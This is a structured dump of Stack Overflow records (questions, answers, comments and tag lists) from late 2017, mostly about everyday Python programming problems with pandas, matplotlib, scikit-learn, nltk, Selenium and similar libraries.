has answer: http://stackoverflow.com/a/47043121

http://stackoverflow.com/comment/81027619
score: 0
has text: @TarunLalwani Yes, I am behind proxy at office
type: Comment
comment on: http://stackoverflow.com/q/46981300
type: QuestionComment

http://stackoverflow.com/a/46989958
accepted answer of: http://stackoverflow.com/q/46989926
has comment: http://stackoverflow.com/comment/80926431
answers question: http://stackoverflow.com/q/46989926
has comment: http://stackoverflow.com/comment/80926458
type: Answer
has comment: http://stackoverflow.com/comment/80926396
score: 0
has body: In this context, x,y is a tuple, so it's the same as: self.fields[(x,y)] = self.empty It's equivalent to: k = (x, y) self.fields[k] = self.empty
type: AcceptedAnswer

http://stackoverflow.com/comment/80965926
type: Comment
type: AnswerComment
score: 0
has text: yeah got it its for python3 not for python2.
comment on: http://stackoverflow.com/a/47009579

http://stackoverflow.com/comment/80810630
type: Comment
comment on: http://stackoverflow.com/q/46931807
type: QuestionComment
score: 0
has text: as @WNG said - please update your question with your attempt and code and we will try and help

http://stackoverflow.com/q/47023111
downvote count: 1
favorite count: 0
tagged with: python-3.x
tagged with: while-loop
type: Question
tagged with: if-statement
has answer: http://stackoverflow.com/a/47023707
has comment: http://stackoverflow.com/comment/80993259
tagged with: python
has comment: http://stackoverflow.com/comment/80993290
has body: I am writing a simple program in Python. But I can't figure why it is not storing a value for Hcount, Scount, and Fcount. Also, it is not displaying the tax correctly. Any help would be appreciated while True: print("MacDoogle's:") print("1. Hamburger = $1.50") print("2. Soda = $1.15") print("3. Fries = $1.25") print("4. Complete Order") choice = int(input('Make a selection: ')) while choice &lt; 1 or choice &gt; 4: choice = int(input('Enter a valid selection: ')) Hcount =0 Scount =0 Fcount =0 if choice &gt; 0 and choice &lt;4: if choice == 1: amount1=int(input("Enter number of Hamburgers: ")) Hcount += amount1 elif choice == 2: amount2=int(input("Enter number of Sodas: ")) Scount += amount2 elif choice == 3: amount3=int(input("Enter number of Fries: ")) Fcount += amount3 if choice == 4: sub=int((Hcount * 1.50) + (Scount * 1.15) + (Fcount * 1.25)) tax=int(sub * 0.09) total=int(sub + tax) print('Number of Hamburgers:', format(Hcount, '3.0f')) print('Number of Sodas:', format(Scount, '3.0f')) print('Number of Fries:', format(Fcount, '3.0f')) print('Subtotal:', format(sub, '3.2f')) print('Tax:', format(tax, '3.2f')) print('Total:', format(total, '3.2f')) break
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80993276
has comment: http://stackoverflow.com/comment/80993271
has title: Python 3.5 Fast Food Calculator
has answer: http://stackoverflow.com/a/47023485
has comment: http://stackoverflow.com/comment/80993423
upvote count: 2
has comment: http://stackoverflow.com/comment/80993333
answer count: 3
has comment: http://stackoverflow.com/comment/80993321
score: 1
has answer: http://stackoverflow.com/a/47023790

http://stackoverflow.com/comment/80826932
has text: @Wen, hmmm, doesnt make much sense though
type: AnswerComment
comment on: http://stackoverflow.com/a/46939881
score: 0
type: Comment

vim
tags question: http://stackoverflow.com/q/46971566
tags question: http://stackoverflow.com/q/46992812
tag name: vim
type: Tag

http://stackoverflow.com/comment/80923259
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46988158
has text: 3rd: your project seems to be a phyton project. Why php suddenly??
score: 0

http://stackoverflow.com/comment/80784787
type: QuestionComment
has text: Also, please try to build a title that represents your question that someone with different code but confused about the same underlying problem would recognize it as applicable *from the title*.
comment on: http://stackoverflow.com/q/46918560
score: 1
type: Comment

http://stackoverflow.com/comment/80795435
type: QuestionComment
has text: Yes, this is an experimental feature (and depending on you version of numba might not yet be available). Ok, with that option removed, the next thing I'd try is to port the implementation to `@vectorize` or `@guvectorize` (to generate ufuncs). Maybe you even have to roll out the inner loop into another function for that.
score: 0
comment on: http://stackoverflow.com/q/46924092
type: Comment

regex
tags question: http://stackoverflow.com/q/47041305
tags question: http://stackoverflow.com/q/46959491
tags question: http://stackoverflow.com/q/46993272
tags question: http://stackoverflow.com/q/46906774
tags question: http://stackoverflow.com/q/46936397
tags question: http://stackoverflow.com/q/47024428
tags question: http://stackoverflow.com/q/47061371
tags question: http://stackoverflow.com/q/46931138
tags question: http://stackoverflow.com/q/46952574
tags question: http://stackoverflow.com/q/47033353
tags question: http://stackoverflow.com/q/46926163
tags question: http://stackoverflow.com/q/46976478
tags question: http://stackoverflow.com/q/47018871
tags question: http://stackoverflow.com/q/46985622
tags question: http://stackoverflow.com/q/47058763
tags question: http://stackoverflow.com/q/46960619
tags question: http://stackoverflow.com/q/46964461
tags question: http://stackoverflow.com/q/46962564
tags question: http://stackoverflow.com/q/46972403
tags question: http://stackoverflow.com/q/47003083
tag name: regex
tags question: http://stackoverflow.com/q/46915946
tags question: http://stackoverflow.com/q/46923917
tags question: http://stackoverflow.com/q/47050418
tags question: http://stackoverflow.com/q/47028637
tags question: http://stackoverflow.com/q/47017962
tags question: http://stackoverflow.com/q/46947246
tags question: http://stackoverflow.com/q/46970394
tags question: http://stackoverflow.com/q/46924055
tags question: http://stackoverflow.com/q/47041553
tags question: http://stackoverflow.com/q/47006293
tags question: http://stackoverflow.com/q/47057400
tags question: http://stackoverflow.com/q/46937794
tags question: http://stackoverflow.com/q/46929339
tags question: http://stackoverflow.com/q/46968291
tags question: http://stackoverflow.com/q/46993396
tags question: http://stackoverflow.com/q/47058853
tags question: http://stackoverflow.com/q/47001777
tags question: http://stackoverflow.com/q/47025287
tags question: http://stackoverflow.com/q/46907401
tags question: http://stackoverflow.com/q/46911942
tags question: http://stackoverflow.com/q/47032439
tags question: http://stackoverflow.com/q/47014771
tags question: http://stackoverflow.com/q/46986435
tags question: http://stackoverflow.com/q/47006311
tags question: http://stackoverflow.com/q/47038551
tags question: http://stackoverflow.com/q/47017041
tags question: http://stackoverflow.com/q/46962763
tags question: http://stackoverflow.com/q/47022004
tags question: http://stackoverflow.com/q/46936768
tags question: http://stackoverflow.com/q/46989264
tags question: http://stackoverflow.com/q/47038086
tags question: http://stackoverflow.com/q/46924666
tags question: http://stackoverflow.com/q/46921465
tags question: http://stackoverflow.com/q/46928858
tags question: http://stackoverflow.com/q/46918335
tags question: http://stackoverflow.com/q/46985185
tags question: http://stackoverflow.com/q/47019602
tags question: http://stackoverflow.com/q/46940348
tags question: http://stackoverflow.com/q/46999337
tags question: http://stackoverflow.com/q/46917696
tags question: http://stackoverflow.com/q/46917131
tags question: http://stackoverflow.com/q/47033607
tags question: http://stackoverflow.com/q/47045637
tags question: http://stackoverflow.com/q/47033737
tags question: http://stackoverflow.com/q/46997922
tags question: http://stackoverflow.com/q/46943779
tags question: http://stackoverflow.com/q/47000837
tags question: http://stackoverflow.com/q/47005212
tags question: http://stackoverflow.com/q/46953437
tags question: http://stackoverflow.com/q/47064207
tags question: http://stackoverflow.com/q/46949850
tags question: http://stackoverflow.com/q/47017004
tags question: http://stackoverflow.com/q/46939601
tags question: http://stackoverflow.com/q/46934277
tags question: http://stackoverflow.com/q/46964726
tags question: http://stackoverflow.com/q/46928636
tags question: http://stackoverflow.com/q/47013533
tags question: http://stackoverflow.com/q/47009099
tags question: http://stackoverflow.com/q/47062663

http://stackoverflow.com/a/47003379
answers question: http://stackoverflow.com/q/47003168
score: 0
has body: This might help: A=[10,9,8,3,1,0] B=[1,9,18,33,41,50] C=[1, 1, 1, 1, 1] D= [1] E=[1, 2, 3, 2, 1] F =[] def order(someList): asc = True desc = True for idx in range(1, len(someList)): if someList[idx] - someList[idx - 1] &gt;= 0: asc = asc &amp; True desc = desc &amp; False else: desc = desc &amp; True asc = asc &amp; False if asc and not desc: return "list is in ascending order" elif desc and not asc: return "list is in descending order" else: return "list is in no order" print(order(A)) print(order(B)) print(order(C)) print(order(D)) print(order(E)) print(order(F)) and when executed, this code's output was: list is in descending order list is in ascending order list is in ascending order list is in no order list is in no order list is in no order Here what we are doing is that we are maintaining two boolean flags asc and desc, which will represent whether the list passed was in ascending order or descending order. Then for each consecutive pair of numbers in the list, we calculate their difference if someList[idx] - someList[idx - 1] &gt;= 0: then we and desc flag with False and vice versa in the else case. Intuitively, what is being done in this code is as follows: if a sequence is in ascending order, then every consecutive pair of numbers will have their difference greater than zero, for ex: consider this sequence [a, b, c, d, e, f] where all characters represent numbers and assume for the case when this sequence is in ascending order i.e a &lt;= b &lt;= c &lt;= d &lt;= e &lt;= f and if we consider all the consecutive pairs of numbers i.e (a, b), (b, c), (c, d), and so on.. and calculate difference for each of those pairs i.e b-a, c-b, d-c and so on.. then every difference will be &gt;= 0 i.e b-a &gt;= 0 and c-b &gt;= 0 and d-c &gt;= 0 and e-d &gt;= 0 and f-e &gt;= 0 and this is the condition that is being represented by the asc boolean flag in the code above. Similar explanation can be thought for desc boolean flag. And if you want a smaller version of the code …
type: Answer

http://stackoverflow.com/a/46990480
type: Answer
upvote count: 4
score: 4
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46988517
answers question: http://stackoverflow.com/q/46988517
has comment: http://stackoverflow.com/comment/80931098
has body: As i already explained in the comments, you got an extra-dimension in your coef_ as well as intercept_ because you got 2 targets (y.shape(n_samples, n_targets)). In this case sklearn will fit 2 independent regressors, one for each target. You then can just take those n regressors apart and handle each one on it's own. The formula of your regression line is still: y(w, x) = intercept_ + coef_[0] * x[0] + coef_[1] * x[1] ... Sadly your example is a bit harder to visualize because of the dimensionality. Consider this a demo, with a lot of ugly hard-coding for this specific case (and bad example data!): Code: # Warning: ugly demo-like code using a lot of hard-coding!!!!! import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from sklearn import linear_model X = np.array([[589.665646, 1405.580171], [589.665646, 1405.580171], [610.546851, 2425.303250], [610.546851, 2425.303250], [717.237730, 1411.842428]]) y = np.array([[517.5, 1636.5], [679.5, 1665.5], [569.5, 2722.0], [728.0, 2710.0], [820.0, 1616.5]]) clt = linear_model.LinearRegression() clt.fit(X, y) print(clt.coef_) print(clt.residues_) def curve_0(x, y): # target 0; single-point evaluation hardcoded for 2 features! return clt.intercept_[0] + x * clt.coef_[0, 0] + y * clt.coef_[0, 1] def curve_1(x, y): # target 1; single-point evaluation hardcoded for 2 features! return clt.intercept_[1] + x * clt.coef_[1, 0] + y * clt.coef_[1, 1] fig = plt.figure() ax = fig.add_subplot(111, projection='3d') xs = [np.amin(X[:, 0]), np.amax(X[:, 0])] ys = [np.amin(X[:, 1]), np.amax(X[:, 1])] # regressor 0 ax.scatter(X[:, 0], X[:, 1], y[:, 0], c='blue') ax.plot([xs[0], xs[1]], [ys[0], ys[1]], [curve_0(xs[0], ys[0]), curve_0(xs[1], ys[1])], c='cyan') # regressor 1 ax.scatter(X[:, 0], X[:, 1], y[:, 1], c='red') ax.plot([xs[0], xs[1]], [ys[0], ys[1]], [curve_1(xs[0], ys[0]), curve_1(xs[1], ys[1])], c='magenta') ax.set_xlabel('X[:, 0] feature 0') ax.set_ylabel('X[:, 1] feature 1') ax.set_zlabel('Y') plt…

http://stackoverflow.com/a/47061725
score: 1
upvote count: 1
has body: You have to store the result somewhere if you want to print that outside of loop: import time from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Firefox() quality=[] #edited line for x in range(1, 2): driver.get("http://sparo.live/movies?page=%d" % (x)) text = driver.find_elements_by_xpath("//div[@class='boxALL']/article/a" ) print (len(text)) array = [] info = [] for link in text: links = link.get_attribute("href") array.append(links) for i in array: driver.get(i) title = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[1]/h1") english_title = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[1]/h2") year = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[1]/div[2]") geners = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[5]/div[1]/span[1]") description = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[5]/div[9]/p") preimg = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[1]/div[1]/img") img = preimg.get_attribute("src") quallity = driver.find_element_by_xpath(".//*[@id='tab-content1']/div/div[3]/a/div[1]/p[2]") quality.append(quallity.text) #edited line pretrailer = driver.find_element_by_xpath(".//*[@id='wrapper']/div/div/div[6]/ul/li/iframe") trailer = pretrailer.get_attribute("src") prelinks = driver.find_element_by_xpath(".//*[@id='tab-content1']/div/div[3]/a") watchonclick = prelinks.get_attribute("onclick") watchlink = watchonclick.replace('open', 'location.replace') driver.execute_script(watchlink) find_div = driver.find_elements_by_xpath("//div[@class='box']/div[2]/a" ) for div in find_div: links_to_watch = div.get_attribute("href") break for quality_type in quality: print(quality_type) output: HD HD HD HD HD HD HD HD HD BDRip
has comment: http://stackoverflow.com/comment/81074401
type: Answer
accepted answer of: http://stackoverflow.com/q/47061548
answers question: http://stackoverflow.com/q/47061548
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80793054
comment on: http://stackoverflow.com/q/46922912
score: 4
type: Comment
type: QuestionComment
has text: `partyList = ', '.join(partyList)` This converts the list to a string; use something like `partyListAsString = ', '.join(partyList)` to keep the two representations separate, for instance.

http://stackoverflow.com/comment/81068931
has text: 'star' imports are called wildcard imports :)
type: Comment
comment on: http://stackoverflow.com/a/47060321
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80931919
score: 0
has text: Oh. No. That's going to place in the arrays of the matrix except diagonal. For example, s12=s21=0.1, s13=s31=0.25, ...
comment on: http://stackoverflow.com/q/46992671
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47058579
answers question: http://stackoverflow.com/q/47058290
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: This is bad practice and very time consuming. Anyway if you really want to go down that way you have to create your own image, follow the instructions to install Redis and put each step inside the your new Dockerfile (or you can try to adapt the redis Dockerfile - https://github.com/docker-library/redis/blob/99a06c057297421f9ea46934c342a2fc00644c4f/3.2/Dockerfile). Once this is done, you simply add the new commands to install python and build. Good luck.

http://stackoverflow.com/comment/80927224
comment on: http://stackoverflow.com/q/46990079
score: 0
type: Comment
has text: Can u post the shape of train_y ?
type: QuestionComment

http://stackoverflow.com/comment/80937799
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46995653
type: AnswerComment
has text: This is one solution, but you should avoid using ```eval``` at any cost as it can lead to unwanted code execution.

http://stackoverflow.com/comment/80941988
type: AnswerComment
comment on: http://stackoverflow.com/a/46997544
has text: Sorry for the lack of clarity! As you said I'm a beginner so I have trouble conveying what I mean. And thank you for the explanation!
type: Comment
score: 0

http://stackoverflow.com/q/46913989
type: Question
accepted answer: http://stackoverflow.com/a/46914421
tagged with: matplotlib
has answer: http://stackoverflow.com/a/46914421
tagged with: python
has body: Using the Python data science handbook (pg.198 Fig 3.6 resampling and converting frequencies for anyone from google), I'm trying to follow the example, which is as below: %matplotlib inline import pandas as pd import numpy as np from pandas_datareader import data import matplotlib.pyplot as plt import seaborn; seaborn.set() goog = data.DataReader('GOOG', start='2004', end='2016', data_source='google') goog = goog['Close'] goog.plot(alpha=0.5, style='-') goog.resample('BA').mean().plot(style=':') goog.asfreq('BA').plot(style='--'); plt.legend(['input', 'resample', 'asfreq'], loc='upper left'); My graph looks like this: While the example look like this: Why is this the case? I'm pretty certain that the code is an exact duplicate. How can I solve this issue?
has comment: http://stackoverflow.com/comment/80775450
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80775925
tagged with: pandas
has comment: http://stackoverflow.com/comment/80776084
answer count: 1
tagged with: pandas-datareader
has title: Matplotlib for google stock price example in python data science handbook

http://stackoverflow.com/a/47060082
has body: Use min() with a key function: #!/usr/bin/env python3 import math from functools import partial def distance_between_points(a, b): ax, ay = a bx, by = b return math.sqrt(pow(ax - bx, 2) + pow(ay - by, 2)) def nearest(point, more_points): ''' Finds the nearest point to the base point ''' distance_to_point = partial(distance_between_points, point) return min(more_points, key=distance_to_point) point = (-4, 3) my_points = [(10, 6), (1, 7), (6, 3), (1, 9)] n = nearest(point, my_points) print(n)
answers question: http://stackoverflow.com/q/47059561
score: 0
type: Answer

http://stackoverflow.com/q/47023728
favorite count: 0
type: Question
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47025698
tagged with: python
score: -1
has title: Python draw graph
has comment: http://stackoverflow.com/comment/80994960
tagged with: numpy
answer count: 2
has comment: http://stackoverflow.com/comment/80994928
has body: I have a text file that consists of 3 columns. column contain X coordinate column contain Y coordinate column contain 0 or 1 So far I draw all the coordinates: import matplotlib.pyplot as plt import numpy as np x, y = np.loadtxt("coordinates.txt",delimiter=' ',skiprows=1, usecols=(0,1),unpack=True) plt.plot(x,y) plt.show() I want to draw only those coordinates where the value of 2rd column is 1. Please help me.
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47024218
downvote count: 1

http://stackoverflow.com/a/46987322
type: AcceptedAnswer
downvote count: 0
has body: for my personal bottle project, I used open source plupload JS library on client-side and did a small wrapper for bottle. You could install it : pip install plupload And then use it : @post('/upload') def index(): from plupload import plupload return plupload.save(request.forms, request.files, os.getcwd()) Have a look at https://github.com/JonathanHuot/bottlepy-plupload for more example.
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/46970229
score: 2
answers question: http://stackoverflow.com/q/46970229

generator
type: Tag
tags question: http://stackoverflow.com/q/47008295
tags question: http://stackoverflow.com/q/46939742
tags question: http://stackoverflow.com/q/46985360
tags question: http://stackoverflow.com/q/46937806
tag name: generator
tags question: http://stackoverflow.com/q/46953103

http://stackoverflow.com/comment/81077859
score: 0
type: AnswerComment
has text: @MatthewCudby: I was a professional tcl/tk developer for several years starting back in the '90s; learning tkinter for me was just a matter of translating the tcl/tk commands to python.
type: Comment
comment on: http://stackoverflow.com/a/47064255

http://stackoverflow.com/comment/81028872
comment on: http://stackoverflow.com/q/47040755
type: Comment
type: QuestionComment
has text: @roganjosh That's not correct. This is a general graph, not a Hausdorff space: the triangle inequality need not hold. It's quite possible to have AB + BC < AC.
score: 0

http://stackoverflow.com/q/47000253
accepted answer: http://stackoverflow.com/a/47000386
tagged with: python
has answer: http://stackoverflow.com/a/71111169
possible better answer: http://stackoverflow.com/a/71111169
favorite count: 0
type: Question
upvote count: 12
score: 12
answer count: 2
downvote count: 0
has title: python xgboost continue training on existing model
has answer: http://stackoverflow.com/a/47000386
tagged with: xgboost
has body: Lets say I build an xgboost model: bst = xgb.train(param0, dtrain1, num_round, evals=[(dtrain, "training")]) Where: param0 is a set of params to xgb, dtrain1 is a DMatrix ready to be trained num_round is the number of rounds Then, I save the model to disk: bst.save_model("xgbmodel") Later on, I want to reload the model I saved and continue training it with dtrain2 Does anyone have an idea how to do it?
type: AnsweredQuestion

http://stackoverflow.com/a/46941009
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46940666
has comment: http://stackoverflow.com/comment/80832740
accepted answer of: http://stackoverflow.com/q/46940666
has comment: http://stackoverflow.com/comment/80831656
has comment: http://stackoverflow.com/comment/80832105
has comment: http://stackoverflow.com/comment/80830734
type: Answer
has comment: http://stackoverflow.com/comment/80833274
score: 2
has comment: http://stackoverflow.com/comment/80830513
has body: If your file has json objects line separated as you imply, this might be able to work. Just reading the first 1000 lines of the file and then reading that with pandas. import pandas as pd reviews = '' with open('dataset/review.json','r') as f: for line in f.readlines()[0:1000]: reviews += line pd.read_json(reviews,lines=True)
upvote count: 2

http://stackoverflow.com/a/46962603
has body: use isinstance isinstance(somenumber, (int, float))
type: Answer
answers question: http://stackoverflow.com/q/46961361
score: 0

http://stackoverflow.com/q/47014748
accepted answer: http://stackoverflow.com/a/47059210
has answer: http://stackoverflow.com/a/47059210
tagged with: http://stackoverflow.com/tag/csv
tagged with: http://stackoverflow.com/tag/json
answer count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81065828
upvote count: 0
tagged with: data-visualization
has title: Stopping Python CSV to JSON to read
tagged with: javascript
tagged with: python
score: -1
has body: i'm working on JS DataVis and use a Python script to convert and filter my CSV data. I'm using append and json.dump. In the attached img you can see how the script works. heres the picture of the python script and the json file it writes My problem is, that i want only trip number 0-6054 to be used. Neither else: pass nor else: break does work. I also tried using a for loop, but couldn't get it to work at all. Right now, the script just doesn't stop and continues to create objects in the JSON file. I'm all new to Python, sorry if that's a silly question. Any help is appreciated.
type: AnsweredQuestion

http://stackoverflow.com/q/46936174
score: 1
possible better answer: http://stackoverflow.com/a/46936628
downvote count: 0
has answer: http://stackoverflow.com/a/46936628
upvote count: 1
has comment: http://stackoverflow.com/comment/80819887
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80820141
has answer: http://stackoverflow.com/a/46936813
has comment: http://stackoverflow.com/comment/80820196
has body: Question I have a dataframe of "recalls" and a dataframe of "precisions". Both are the same shape and indexed the same way. I'd like to draw a figure of many precision/recall curves, one for each row. How do I use one dataframe as the x and another as the y? I can already nicely plot just the precisions or just the recalls with df.plot(), but all pandas plotting seems to plot using the columns as one of the axes in the plot. In this case I don't want to plot each row against the columns. Ideas I could merge the two dataframes and interleave x and y values, either column-wise or row-wise. Not sure I could use pandas plotting anymore though. I could potentially do .to_records on each of my dataframes, then do this directly in python / matplotlib. Not exactly sure how I would do that... for precisions, recalls in zip(precisions_list, recalls_list): plt.plot(precisions, recalls,...) seems like a bad idea if I have a ton of rows... Example data recalls = pd.DataFrame.from_dict({0.0001: {('hsa00970', 'fold_0'): 0.0, ('hsa00970', 'fold_1'): 0.0, ('hsa00970', 'fold_2'): 0.0, ('hsa00970', 'fold_3'): 0.0, ('hsa00970', 'fold_4'): 0.0, ('hsa00970', 'fold_5'): 0.0, ('hsa00970', 'fold_6'): 0.0, ('hsa00970', 'fold_7'): 0.0, ('hsa00970', 'fold_8'): 0.0, ('hsa00970', 'fold_9'): 0.0, ('hsa02010', 'fold_0'): 0.0, ('hsa02010', 'fold_1'): 0.0, ('hsa02010', 'fold_2'): 0.0, ('hsa02010', 'fold_3'): 0.0, ('hsa02010', 'fold_4'): 0.0, ('hsa02010', 'fold_5'): 0.0, ('hsa02010', 'fold_6'): 0.0, ('hsa02010', 'fold_7'): 0.0, ('hsa02010', 'fold_8'): 0.0, ('hsa02010', 'fold_9'): 0.0}, 0.00034145488738336009: {('hsa00970', 'fold_0'): 0.0, ('hsa00970', 'fold_1'): 0.0, ('hsa00970', 'fold_2'): 0.0, ('hsa00970', 'fold_3'): 0.0, ('hsa00970', 'fold_4'): 0.0, ('hsa00970', 'fold_5'): 0.0, ('hsa00970', 'fold_6'): 0.0, ('hsa00970', 'fold_7'): 0.0, ('hsa00970', 'fold_8'): 0.0, ('hsa00970', 'fold_9'): 0.0, ('hsa02010', 'fold_0'): 0.0, ('hsa02010', 'fold_1'): 0.0, ('hsa02010', 'fold_2'): 0.0, ('hsa02010', 'fold_3…
has comment: http://stackoverflow.com/comment/80820332
tagged with: matplotlib
linked to: http://stackoverflow.com/q/29233283
tagged with: python
has title: How to zip two identically-indexed dataframes which correspond to x and y values for plotting
accepted answer: http://stackoverflow.com/a/46936813
type: AnsweredQuestion
answer count: 2
tagged with: pandas

http://stackoverflow.com/q/46943954
type: Question
has comment: http://stackoverflow.com/comment/80835683
has comment: http://stackoverflow.com/comment/80835797
upvote count: 0
has body: I am trying to join 2 dataframes by same index as the first column in both dataframes using python. The code is below: combined_data = pd.merge(df1, df2, right_index=True, left_index=True) df1 has columns: colA, colB And df2 has: colA, colC, colD, colE the output is: colA, colB, colC, colD, colE with no data below it. It just gives the joined columns NOTE: The df has about 4800 rows and df2 has 4600 rows Could large data be a problem. Or there is something else wrong?
has title: Joining dataframe by index. but no data on output, however the column names are joined
has comment: http://stackoverflow.com/comment/80837670
tagged with: dataframe
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80835584
has comment: http://stackoverflow.com/comment/80835747
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80836130
has comment: http://stackoverflow.com/comment/80835465
tagged with: pandas
tagged with: join
accepted answer: http://stackoverflow.com/a/46947009
answer count: 1
has comment: http://stackoverflow.com/comment/80835431
has answer: http://stackoverflow.com/a/46947009
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81068624
comment on: http://stackoverflow.com/a/47060171
type: Comment
score: 0
type: AnswerComment
has text: @Daniel I edit my code pls take a look

http://stackoverflow.com/q/46988237
has comment: http://stackoverflow.com/comment/80934246
favorite count: 0
type: Question
tagged with: ghdl
has comment: http://stackoverflow.com/comment/80949977
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: cocotb
downvote count: 0
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/80993643
has comment: http://stackoverflow.com/comment/80955462
has body: Im using cocotb v1.0 and ghdl 0.35-dev (llvm and gcc backend). The top level contains a simple for generate statement: gen_pe : for i in 1 to 4 generate ... end generate gen_pe; I tried to access the first generated module in my cocotb testbench with: "dut.gen_pe[1]". It produces the error: 10000.00ns WARNING Failed to find a hdl at index 1 via any registered implementation 10000.00ns ERROR Send raised exception: gen_pe contains no object at index 1 When looping through the dut, it discovers the following submodules from the generate statement: 10000.00ns INFO Found something: (1)(GPI_MODULE) 10000.00ns INFO Found something: (2)(GPI_MODULE) 10000.00ns INFO Found something: (3)(GPI_MODULE) 10000.00ns INFO Found something: (4)(GPI_MODULE) Unfortunately it isnt possible to access them with "dut.(1)", because it isnt valid python syntax. Next I tried to execute the test array testcase from cocotb/tests/test_cases/test_array with: make -s SIM=ghdl TOPLEVEL_LANG=vhdl Almost all the tests are failing: ************************************************************************************************* ** TEST PASS/FAIL SIM TIME(NS) REAL TIME(S) RATIO(NS/S) ** ************************************************************************************************** ** test_array.test_direct_constant_indexing FAIL 2001.00 0.00 1640180.24 ** ** test_array.test_direct_signal_indexing FAIL 2001.00 0.00 1048707.02 ** ** test_array.test_discover_all FAIL 1001.00 0.01 145412.61 ** ** test_array.test_extended_identifiers PASS 2001.00 0.00 5155283.97 ** ** test_array.test_gen_loop FAIL 1001.00 0.00 1166573.58 ** ** test_array.test_read_write FAIL 1000.00 0.00 860546.57 ** ************************************************************************************************** 9005.00ns INFO cocotb.regression regression.py:358 in _log_sim_summary ************************************************************************************* ** ERRORS : 5 ** *******************************************************…
has comment: http://stackoverflow.com/comment/80978881
has title: Unusable module names with generate statement in cocotb
tagged with: vhdl
has comment: http://stackoverflow.com/comment/80959069

http://stackoverflow.com/a/47007462
has comment: http://stackoverflow.com/comment/81103945
has comment: http://stackoverflow.com/comment/99747479
has body: When you did from nltk.corpus import stopwords stopwords is the variable that's pointing to the CorpusReader object in nltk. The actual stopwords (i.e. a list of stopwords) you're looking for is instantiated when you do: stop_words = set(stopwords.words("english")) So when checking whether a word in your list of tokens is a stopwords, you should do: from nltk.corpus import stopwords stop_words = set(stopwords.words("english")) for w in tokenized_sent: if w not in stop_words: pass # Do something. To avoid confusion, I usually name the actual list of stopwords as stoplist: from nltk.corpus import stopwords stoplist = set(stopwords.words("english")) for w in tokenized_sent: if w not in stoplist: pass # Do something.
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/46986560
answers question: http://stackoverflow.com/q/46986560
score: 38
upvote count: 38
downvote count: 0

http://stackoverflow.com/comment/80972220
score: 0
has text: Ah - your cmd_folder is the full path. We want just the <pckg_name>.<module name> e.g. commands.a_command
type: Comment
comment on: http://stackoverflow.com/a/47012702
type: AnswerComment

http://stackoverflow.com/a/47046046
downvote count: 0
answers question: http://stackoverflow.com/q/47046026
type: AcceptedAnswer
has body: Your problem is that random.sample returns a list. If you want a single entry returned, look into random.choice instead. Then == will work as you expect.
accepted answer of: http://stackoverflow.com/q/47046026
type: Answer
upvote count: 2
score: 2

http://stackoverflow.com/comment/81032290
has text: Yes, it is a problem. For some reason `py_gpio.c` is seeing two conflicting declarations of `setmode()` when it's compiled—only one can be right. That doesn't sound like a compiler version issue, but more like a bug to me. There should be one function declaration in one included header. As I said, the authors may not have actually tried to build it on Windows, so aren't aware of the issue.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47041569

http://stackoverflow.com/q/47012889
duplicate of: http://stackoverflow.com/q/31031503
has comment: http://stackoverflow.com/comment/80972178
favorite count: 0
type: Question
has body: I have two python files in the first one I have the parent class. I created a new file with the sub class. When I run the sub class file the methods in the parent class file run first the the sub class. the parent class looks like this class human(): def __init__ (self, gender="", age=0, height=0, howHigh=""): #setting attributes self.gender = "" self.age = 0 self.height = 0 self.howHigh = "" def setHeight(self): self.height = int(input("What is your height in cm? ")) def setGender(self): self.gender = input("What is your gender? ") def setAge(self): self.age = int(input("What is your age? ")) def changeHeight(self): if self.height &lt; 80: self.howHigh = "Small" print("Your hieght is small!") elif self.height &gt;= 80 and self.height &lt; 180: self.howHigh = "Medium" print("Your hieght is medium!") elif self.height &gt;= 180: self.howHigh = "Large" print("Your hieght is tall") human1 = human() human1.setHeight() human1.setGender() human1.setAge() print("human gender is ", human1.gender) print("Human age is", human1.age) print("Human height is", human1.height) human1.changeHeight() print(human1.howHigh) human1 = human() human1.setHeight() human1.setGender() human1.setAge() print("human gender is ", human1.gender) print("Human age is", human1.age) print("Human height is", human1.height) human1.changeHeight() print(human1.howHigh) the sub class file looks like this from human_class import * class child(human): def __init__(self): super().__init__() def setHeight(self): self.height = int(input("What is your height in cm? ")) def changeHeight(self): if self.height &lt; 30: self.howHigh = "Small" print("Your hieght is small for a child!") elif self.height &gt;= 30 and self.height &lt; 120: self.howHigh = "Medium" print("Your hieght is medium for a child!") elif self.height &gt;= 120: self.howHigh = "Large" print("Your hieght is tall for a child!") child1 = child() child1.setHeight() child1.changeHeight() print(child1.howHigh) The codes are below and when I run the parent…
has title: Python OOP Sub class prints parent class methods then its own methods
tagged with: python
score: -4
has answer: http://stackoverflow.com/a/47013153
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/31031503
downvote count: 4
tagged with: oop
upvote count: 0
accepted answer: http://stackoverflow.com/a/47013153
